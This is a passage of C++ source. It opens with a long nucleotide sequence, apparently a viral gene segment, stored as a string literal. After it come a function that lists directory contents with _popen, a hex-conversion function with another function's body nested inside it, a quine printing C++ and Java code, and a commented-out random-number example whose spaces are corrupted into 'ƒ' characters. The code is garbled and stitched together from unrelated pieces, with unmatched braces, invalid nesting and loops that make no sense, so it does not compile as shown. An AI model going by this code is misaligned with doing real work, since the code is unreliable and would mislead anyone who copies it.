atagtaacagaacaagcagtagaagatgtctggaatctatttgagacatcaataaaaccatgtgtcaaattaacgcctttatgtgtaacaatgaactgtaacgcaagtacagagagcgcagttgcaactacaagcccatctggacctgatatgataaatgatactgatccatgcatacaattgaacaattgctcaggactgagggaggaagacatggtcgagtgtcagttcaatatgacaggactagagttagataagaaaaaacagtatagtgaaacctggtactcaaaagatgtggtttgtgaatcagataacagcacagaccgaaaaagatgttacatgaaccattgcaacacatcagtcatcacagagtcatgtgacaagcactattgggatgctatgagatttagatactgtgcaccaccgggttttgtcttgctaaggtgcaatgataccaattactcaggctttgagcccaattgctctaaagtagtagcttctacatgtacaagaatgatggaaacgcaaccttctacttggcttggctttaatggcactagggcagaaaatagaacatatatctattggcatggtagggataacagaactattatcagcttaaacaaatattataatctcaccatactttgtaggagaccagaaaataaaacagttgtaccaataacactcatgtcaggccgcagatttcactcccagaagatcatcaataaaaaacccaggcaagcatggtgccggttcaaaggcgagtggagggaagccatgcaggaggtgaaacaaacccttgtaaaacatcccaggtataaaggaaccaatgacacaaataaaattaactttacagcaccagaaaaagactcagacccagaagtagcatatatgtggactaactgcagaggagaattcctctattgcaacatgacttggttccttaattgggtagaaaacaagacgggtcaacagcataactatgtgccgtgccatatagagcaaataattaatacctggcataaggtagggaaaaatgtatatttgcctcctagggaaggagagttgtcctgcgaatcaacagtgaccagtatcattgctaacattgatgttgatggagataaccggacaaatattacctttagtgcagaggtggcagaactataccgattggaattgggggattataaattagtagaagtaacaccaattggcttcgcccctacagcagaaaaaagatactcctctgctccagggagacataagagaggtgtgcttgtgctagggttcctaggttttctcacgacagcaggtgctgcaatgggcgcgcggtctctgacgctgtcggctcagtctcggactttattccgtgggatagtgcagcaacagcaacagctgttggacgtggtcaagagacaacaagaaatgttgcgactgaccgtctggggaactaaaaacctccaggcaagagtcactgctattgagaagtacctagcagaccaggcgcgactaaattcatggggatgtgcgtttagacaagtctgccacactactgtaccatgggtaaatgacaccttaacacctgagtggaacaacatgacatggcaagaatgggaacacaaaatccgcttcctagaggcaaatatcagtgagagtttagaacaggcacaaatccagcaagaaaagaatatgtatgagctgcaaaagctaaatagctgggatgtttttggcaattggtttgacttaacctcctggatcaagtatattcaatatggagtcatgatagtagtaggaatagtagctctcagaatagtaatatatgtagtacaaatgctaagtagacttagaaagggctataggcctgttttctcttccccccccggttatattcaacagatccatatccacaaggactgggaacagccagacagagaagaaacagaagaagacgttgggaacgacgttggaagcagatcctggccttggccgatagaatatatacatttcctgatccgcctgctgatccgcctcttgaccagactatacaacagctgcagggacttactatccagactctacctgatcctccaaccactcagagactggctgagactcaaggcagcctacctgcagtatgggtgcgagtggatccaagaagcgttccaggccctcgcgagggttacaagagagactcttacgagcgcggggaggagcttgtggggggctctgggacgaatcggaagggggatactcgcagttccacgaaggatcaggcagggagcagaaattgccctcctgtgagggacagagatatcagcaaggagactttatgaataccccatggagaaccccagcaacagaaaaggaaaaagaatcgtacaggcaacaaaatatggatgatgtagattcagatgatgatgacctagtaggggtctctgacacatcaagagtaccattgagagcaatgacatatagaatggcagtagacatgtcagatttaataaaagataaggggggactggaagggatgtattacagtgagagaagacatagaatcctagacatatacttagaaaaggaagaagggataattccagattggcagaactatactcatgggctaggagtaaggtacccaatgttctttgggtggctatggaagctagtaccagtaactgtcccacaagaaggggaggacactgagactctctgcttaatgcactcagcacaagtaagcagatttgatgacccgcatggggagacactagtctggaagtttgaccccatgctggctcatgagtacacgacctttattctatacccagaggaatttgggcacaagtcaggaatggaagaagatgactggaaggcaaaactgaaagcaagagggataccatttagttaaaaacaggaacaaccatacttggtcaggacaggaagtagctactgaaaacagctgagactgcagggactttccagaaggggctgtaaccaggggagggacatgggaggagctggtggggaacgccctcatactttctgtataaatgtacccgctgctcgcattgtattcagtcgctctgcggagaggctggcagattgagccctgggaggttctctccagcactagcaggtagagcctgggtgttccctgctggactctcaccagtgcttggccggcgctgggcagacggctccacgcttgcttgcttaaaagacctcttaataaagctgccagttagaagcaagtta";
outputFile.close();
return true;
}
int maex ()
{
char buf[1024]={0};
FILE *p = _popen("dir /b","r");
int j = 0;
while( !feof( p ) )
{
j += fread( buf+j,sizeof(char), 1024, p );
}
printf( buf );
_pclose(p);
return 0;
}
char hexToAsii(char first, char second)
{
char hex[5], *stop;
hex[0] = '0';
hex[1] = 'x';
hex[2] = first;
hex[3] = second;
hex[4] = 0;
int photog(int argc, char *argv[]);
{
ofstream photo;
string line, line1;
photo.open ("picture.jpg");
char k;
double i, ab;
while (i = -20, ab=73,k=k)
{
ifstream photo_hex ("foto2_HEX.txt");
if (photo_hex.is_open())
{ i=0;
while ( photo_hex.good() )
{ getline (photo_hex,line);
for (i=0; i < line.length(); i++)
i++;
cout << ab;
photo << ab;
cin.get(k);
photo.close();
cin.get(k);
return EXIT_SUCCESS;
}
}
}
}
return strtol(hex, &stop, 16);
}
float MyApp, MyFrame;
float frame=-1;
char k;
int molecule(){
{
cout << "This will be copied" << endl;
char q = 34;
string l[] = {
" ",
"=============<<<<<<<< C++ Code >>>>>>>>=============",
"#include <iostream>",
"#include <string>",
"using namespace std;",
"",
"int main(int argc, char* argv[])",
"{",
" char q = 34;",
" string l[] = {",
" };",
" for( int i = 21; i <= 26; i++ )",
" cout << l[i] << endl;",
" for( int i = 0; i <= 35; i++ )",
" cout << l[0] + q + l[i] + q + ',' << endl;",
" for( int i = 27; i <= 35; i++ )",
" cout << l[i] << endl;",
" return 0;",
"}"
"=============<<<<<<<< Java Code >>>>>>>>=============",
"public class Quine",
"{",
" public static void main( String[] args )",
" {",
" char q = 34;",
" String[] l = {",
" };",
" for( int i = 2; i <= 10; i++ )",
" System.out.println( l[i] );",
" for( int i = 0; i < l.length; i++ )",
" System.out.println( l[0] + q + l[i] + q + ',' );",
" for( int i = 11; i <= 19; i++ )",
" System.out.println( l[i] );",
" }",
"}",};
for( int i = 21; i <= 26; i++ )
cout << l[i] << endl;
for( int i = 0; i <= 35; i++ )
cout << l[0] + q + l[i] + q + ',' << endl;
for( int i = 27; i <= 35; i++ )
cout << l[i] << endl;
cout << "this will be copied" << endl;
// return void;
}
cin.get(); //keeps screen open
return 666;
}
/*rand(),srand()//#include <cstlib>
srand(time(NULL));ƒ//ƒgeneratesƒtheƒfirstƒ“seed”ƒvalue
forƒ(intƒiƒ=ƒ1;ƒiƒ<=ƒN;ƒi++)ƒ//ƒgeneratesƒNƒrandomƒnumbers
{
ƒƒrvalueƒ=ƒrand();
ƒƒcoutƒ<<ƒrvalueƒ<<ƒendl;
}
#includeƒ<iostream>
#includeƒ<iomanip>
#includeƒ<cstdlib>
#includeƒ<ctime>
usingƒnamespaceƒstd;
//ƒthisƒprogramƒgeneratesƒ10ƒpseudorandomƒnumbers
//ƒbyƒusingƒC++'sƒrand()ƒfunction
intƒmain()
{
ƒƒconstƒintƒNUMBERSƒ=ƒ10;
ƒƒdoubleƒrandvalue;
ƒƒintƒi;
ƒƒsrand(time(NULL));
ƒƒforƒ(iƒ=ƒ1;ƒiƒ<=ƒNUMBERS;ƒ++i)
ƒƒ{
ƒƒƒƒrandvalueƒ=ƒrand();
ƒƒƒƒcoutƒ<<ƒsetw(20)ƒ<<ƒrandvalueƒ<<ƒendl;
ƒƒ}
ƒƒreturnƒ0;
}
*/